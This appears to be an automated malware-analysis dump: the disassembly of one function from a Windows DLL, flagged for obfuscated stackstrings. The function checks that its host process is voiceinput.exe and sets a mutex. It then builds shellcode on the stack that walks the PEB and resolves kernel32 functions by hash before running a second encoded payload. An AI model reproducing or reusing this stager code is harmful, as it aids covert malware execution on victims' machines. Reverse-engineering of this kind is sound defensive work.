Function at 0x10001010
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
dec dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
jne 0x100016a4
mov eax, dword [0x1000cc90]
movq xmm0, qword [str.voiceinput.exe]
mov dword [ebp - 0x228], eax
mov ax, word [0x1000cc94]
movq qword [ebp - 0x240], xmm0
movq xmm0, qword [0x1000cc80]
push 0x1ea
mov word [ebp - 0x224], ax
movq qword [ebp - 0x238], xmm0
movq xmm0, qword [0x1000cc88]
lea eax, [ebp - 0x222]
push 0
push eax
movq qword [ebp - 0x230], xmm0
call fcn.10005c50
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x448], ax
lea eax, [ebp - 0x446]
push eax
call fcn.10005c50
add esp, 0x18
lea eax, [ebp - 0x448]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x100010fc
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001cd5
mov esp, ebp
pop ebp
ret 0xc
push str.503b04a8_179c_4e26_a3d5_ac0b51029cde
push 0
push 0
mov dword [0x1000fb5c], esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x100016a4
mov dword [ebp - 0x648], 0x64ec8b55
mov dword [ebp - 0x644], 0x30a1
mov dword [ebp - 0x640], 0x30ec8100
mov dword [ebp - 0x63c], 0x8b000008
mov dword [ebp - 0x638], 0x508b0c40
mov dword [ebp - 0x634], 0x187a830c
mov dword [ebp - 0x630], 0xdc840f00
mov dword [ebp - 0x62c], 0x56000001
mov dword [ebp - 0x628], 0x6bd045c7
mov dword [ebp - 0x624], 0xc76e7265
mov dword [ebp - 0x620], 0x642ed845
mov dword [ebp - 0x61c], 0x45c76c6c
mov dword [ebp - 0x618], 0x336c65d4
mov dword [ebp - 0x614], 0x4a8b5732
mov dword [ebp - 0x610], 0x58186a30
mov dword [ebp - 0x60c], 0x2c423b66
mov dword [ebp - 0x608], 0xf6332575
mov dword [ebp - 0x604], 0x1f74c985
mov dword [ebp - 0x600], 0x7104b70f
mov dword [ebp - 0x5fc], 0x357cbe0f
mov dword [ebp - 0x5f8], 0x74f82bd0
mov dword [ebp - 0x5f4], 0x83c03308
mov dword [ebp - 0x5f0], 0x450f20ff
mov dword [ebp - 0x5ec], 0xfe8346c8
mov dword [ebp - 0x5e8], 0x85e17c0c
mov dword [ebp - 0x5e4], 0x8b0d75c9
mov dword [ebp - 0x5e0], 0x187a8312
mov dword [ebp - 0x5dc], 0xe9c77500
mov dword [ebp - 0x5d8], 0x185
mov dword [ebp - 0x5d4], 0x3318528b
mov dword [ebp - 0x5d0], 0xff3353c9
mov dword [ebp - 0x5cc], 0x89ec4d89
mov dword [ebp - 0x5c8], 0x428be455
mov dword [ebp - 0x5c4], 0x10448b3c
mov dword [ebp - 0x5c0], 0x8bc20378
mov dword [ebp - 0x5bc], 0x5d892058
mov dword [ebp - 0x5b8], 0x13348de8
mov dword [ebp - 0x5b4], 0x8924588b
mov dword [ebp - 0x5b0], 0x588bf85d
mov dword [ebp - 0x5ac], 0xf45d891c
mov dword [ebp - 0x5a8], 0x8918588b
mov dword [ebp - 0x5a4], 0x5d89dc75
mov dword [ebp - 0x5a0], 0xfdb85f0
mov dword [ebp - 0x59c], 0x9184
mov dword [ebp - 0x598], 0xbe348b00
mov dword [ebp - 0x594], 0xc032f203
mov dword [ebp - 0x590], 0xfff4588
mov dword [ebp - 0x58c], 0x86ac0b6
mov dword [ebp - 0x588], 0x8be04589
mov dword [ebp - 0x584], 0xcb8b5ad8
mov dword [ebp - 0x580], 0xe9d1c38b
mov dword [ebp - 0x57c], 0xf381d98b
mov dword [ebp - 0x578], 0xedb88320
mov dword [ebp - 0x574], 0x440f0124
mov dword [ebp - 0x570], 0x1ea83d9
mov dword [ebp - 0x56c], 0x458be875
mov dword [ebp - 0x568], 0x859c89e0
mov dword [ebp - 0x564], 0xfffffbd0
mov dword [ebp - 0x560], 0x4ff458a
mov dword [ebp - 0x55c], 0xff458801
mov dword [ebp - 0x558], 0x558bc975
mov dword [ebp - 0x554], 0x3b33b9e4
mov dword [ebp - 0x550], 0x13ebcd33
mov dword [ebp - 0x54c], 0x33c0be0f
mov dword [ebp - 0x548], 0x8e9c1c1
mov dword [ebp - 0x544], 0x33c0b60f
mov dword [ebp - 0x540], 0xfbd0858c
mov dword [ebp - 0x53c], 0x8a46ffff
mov dword [ebp - 0x538], 0x75c08406
mov dword [ebp - 0x534], 0xf05d8be7
mov dword [ebp - 0x530], 0xf981d1f7
mov dword [ebp - 0x52c], 0x195b7195
mov dword [ebp - 0x528], 0x758b0d74
mov dword [ebp - 0x524], 0xfb3b47dc
mov dword [ebp - 0x520], 0x4d8b8772
mov dword [ebp - 0x51c], 0x8b13ebec
mov dword [ebp - 0x518], 0x4d8bf845
mov dword [ebp - 0x514], 0x3c203f4
mov dword [ebp - 0x510], 0x4b70fca
mov dword [ebp - 0x50c], 0x810c8b78
mov dword [ebp - 0x508], 0xc985ca03
push eax
mov dword [ebp - 0x504], 0xae840f
mov dword [ebp - 0x500], 0xd2850000
mov dword [ebp - 0x4fc], 0xa6840f
mov dword [ebp - 0x4f8], 0x458b0000
mov dword [ebp - 0x4f4], 0x8df633e8
mov dword [ebp - 0x4f0], 0x4d89100c
mov dword [ebp - 0x4ec], 0xfdb85ec
mov dword [ebp - 0x4e8], 0x9384
mov dword [ebp - 0x4e4], 0xb13c8b00
mov dword [ebp - 0x4e0], 0xc032fa03
mov dword [ebp - 0x4dc], 0xfff4588
mov dword [ebp - 0x4d8], 0x86ac0b6
mov dword [ebp - 0x4d4], 0x8be84589
mov dword [ebp - 0x4d0], 0xcb8b5ad8
mov dword [ebp - 0x4cc], 0xe9d1c38b
mov dword [ebp - 0x4c8], 0xf381d98b
mov dword [ebp - 0x4c4], 0xedb88320
mov dword [ebp - 0x4c0], 0x440f0124
mov dword [ebp - 0x4bc], 0x1ea83d9
mov dword [ebp - 0x4b8], 0x458be875
mov dword [ebp - 0x4b4], 0x859c89e8
mov dword [ebp - 0x4b0], 0xfffff7d0
mov dword [ebp - 0x4ac], 0x4ff458a
mov dword [ebp - 0x4a8], 0xff458801
mov dword [ebp - 0x4a4], 0x558bc975
mov dword [ebp - 0x4a0], 0x3b33b9e4
mov dword [ebp - 0x49c], 0x13ebcd33
mov dword [ebp - 0x498], 0x33c0be0f
mov dword [ebp - 0x494], 0x8e9c1c1
mov dword [ebp - 0x490], 0x33c0b60f
mov dword [ebp - 0x48c], 0xf7d0858c
mov dword [ebp - 0x488], 0x8a47ffff
mov dword [ebp - 0x484], 0x75c08407
mov dword [ebp - 0x480], 0x81d1f7e7
mov dword [ebp - 0x47c], 0x8fc4c4f9
mov dword [ebp - 0x478], 0x8b0b74ed
mov dword [ebp - 0x474], 0x3b46ec4d
mov dword [ebp - 0x470], 0x8972f075
mov dword [ebp - 0x46c], 0x458b1aeb
mov dword [ebp - 0x468], 0xf44d8bf8
mov dword [ebp - 0x464], 0xca03c203
mov dword [ebp - 0x460], 0x7004b70f
mov dword [ebp - 0x45c], 0x381048b
mov dword [ebp - 0x458], 0xff0574c2
mov dword [ebp - 0x454], 0xd0ff0875
mov dword [ebp - 0x450], 0xc95e5f5b
mov word [ebp - 0x44c], 0x4c2
mov byte [ebp - 0x44a], al
mov dword [ebp - 0x38], 0x4af94348
mov dword [ebp - 0x34], 0xf94a9154
mov dword [ebp - 0x30], 0x564b4b56
mov dword [ebp - 0x2c], 0xf943f942
mov dword [ebp - 0x28], 0x4b549340
mov dword [ebp - 0x24], 0x91f8494b
mov dword [ebp - 0x20], 0x4b435b49
mov dword [ebp - 0x1c], 0xf8495242
mov dword [ebp - 0x18], 0x4af94240
mov dword [ebp - 0x14], 0x49524b5a
mov dword [ebp - 0x10], 0xf893594b
mov dword [ebp - 0xc], 0x5859594a
mov byte [ebp - 8], 0x90
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call fcn.100016c0
push ecx
lea edx, [ebp - 0x648]
lea ecx, [ebp - 0x38]
mov dword [0x1000fb64], 0x10001ad0
call fcn.100019e0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.10001cd5
mov esp, ebp
pop ebp
ret 0xc